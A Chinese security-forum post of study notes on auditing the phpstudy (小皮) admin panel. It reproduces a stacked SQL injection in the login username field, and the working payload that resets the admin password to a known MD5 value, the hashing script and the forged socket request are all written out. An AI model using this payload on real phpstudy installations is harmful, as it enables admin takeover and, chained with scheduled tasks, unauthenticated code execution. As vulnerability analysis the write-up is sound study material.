安全矩阵

 找回密码
 立即注册
搜索
查看: 448|回复: 0

我在 bilibili 学代码审计

[复制链接]

215

主题

215

帖子

701

积分

高级会员

Rank: 4

积分
701
发表于 2023-4-7 20:59:04 | 显示全部楼层 |阅读模式
转载于:标准云 合天网安实验室
       前几天在 B 站上看到一节录播课,感觉学习到了很多东西,反复观看仍不过瘾,所以决定写下这篇文章以做笔记。
漏洞简介
  漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payload 实现存储型 XSS ,结合小皮本身所具有的计划任务,XSS + CSRF 实现了 RCE 。因为用户名登录处缺少过滤,所以可以尝试 SQL 漏洞。


环境搭建
  windows 上实际操作了一下,不方便进行分析
  于是利用 linux 来进行复现分析,利用官网提供的方法执行,之后再回滚修改代码
  wget -O install.sh https://download.xp.cn/install.sh && sudo bash install.sh
  修改代码 web/service/app/account.php 中登录的部分
  1. <div>if($type=='login'){</div><div>    $username = post('username');</div><div>    $pwd = post('password');</div><div>    $verifycode = post('verifycode');</div><div>    $res = Account::login($username,$pwd,$verifycode);</div><div>    xpexit(json_encode($res));</div><div>}</div>
复制代码



打开代码 ,修改代码
  1. /usr/local/phpstudy/web/service/app/account.php
复制代码

漏洞复现
windows
  在用户登录处构造 payload 其中 PASSWORD 的值是经过五次 md5 加密后的结果
  1. <div>import hashlib</div><div>
  2. </div><div>str = "123456"</div><div>for i in range(0,5):</div><div>    str = hashlib.md5(str.encode()).hexdigest()</div><div>print(str)</div>
复制代码
  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码


虽然提示用户名密码错误,但是密码已经被更新,再次利用 admin/123456 成功登录

Linux
  在用户登录处构造 payload

  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码

  错误类型并不相同,但也成功的将密码修改

漏洞分析

查看开放端口信息 ,发现有两个端口与 phpstudy 的进程相关 9080、8090
9080 对应的是 web 端的信息 8090 对应的是二进制程序


外部访问不到 8090 端口 只能再内部构造数据进行通信

项目的代码在 /usr/local/phpstudy/web
web/service/app/account.php


  1. web/service/app/model/Account.php
复制代码
通过 POST 获取到的数据,利用 Socket 将数据发送到 8090 进行处理

我们可以根据代码逻辑伪造 socket 请求
  1. {"command":"login","data":{"username":"admin","pwd":"123456"}}^^^
复制代码

利用 strace 可以监控进程 strace -s4096 -tt -f -ewrite -p 49433 监控 phpstudy 的进程,发送错误的payload
  1. {"command":"login","data":{"username":"admin'","pwd":"123456"}}^^^
复制代码

获取到登录时对应的 SQL 语句
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin'' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
复制代码
根据 SQL 语句可以构造恶意语句,构造恶意语句,执行错误的 SQL 语句后,程序会发生崩溃,所以无法利用万能密码登录。
这里我们可以思考利用堆叠注入,执行多个 SQL 语句,修改 admin 用户密码。我们构造这样的用户名

  1. admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--
复制代码
拼接到 SQL 语句中就为
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';--' AND PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' AND STATUS = 0
复制代码
最终执行的 SQL 语句为
  1. SELECT ID FROM ADMINS WHERE ALIAS = 'admin';UPDATE ADMINS set PASSWORD = 'c26be8aaf53b15054896983b43eb6a65' where username = 'admin';
复制代码
将用户 admin 的 密码修改为了 123456
再次登录时就可以使用 admin/123456 成功登录,再结合之前的 1-click RCE 中利用 phpstudy 后台计划任务执行,最终实现未授权 RCE 。
第一次登录时 使用 admin/123456 登录失败,提示用户名或者密码错误


输入构造的 payload

再次利用 admin/123456 登录成功,用户的密码已经被修改



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 17:43 , Processed in 0.013043 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表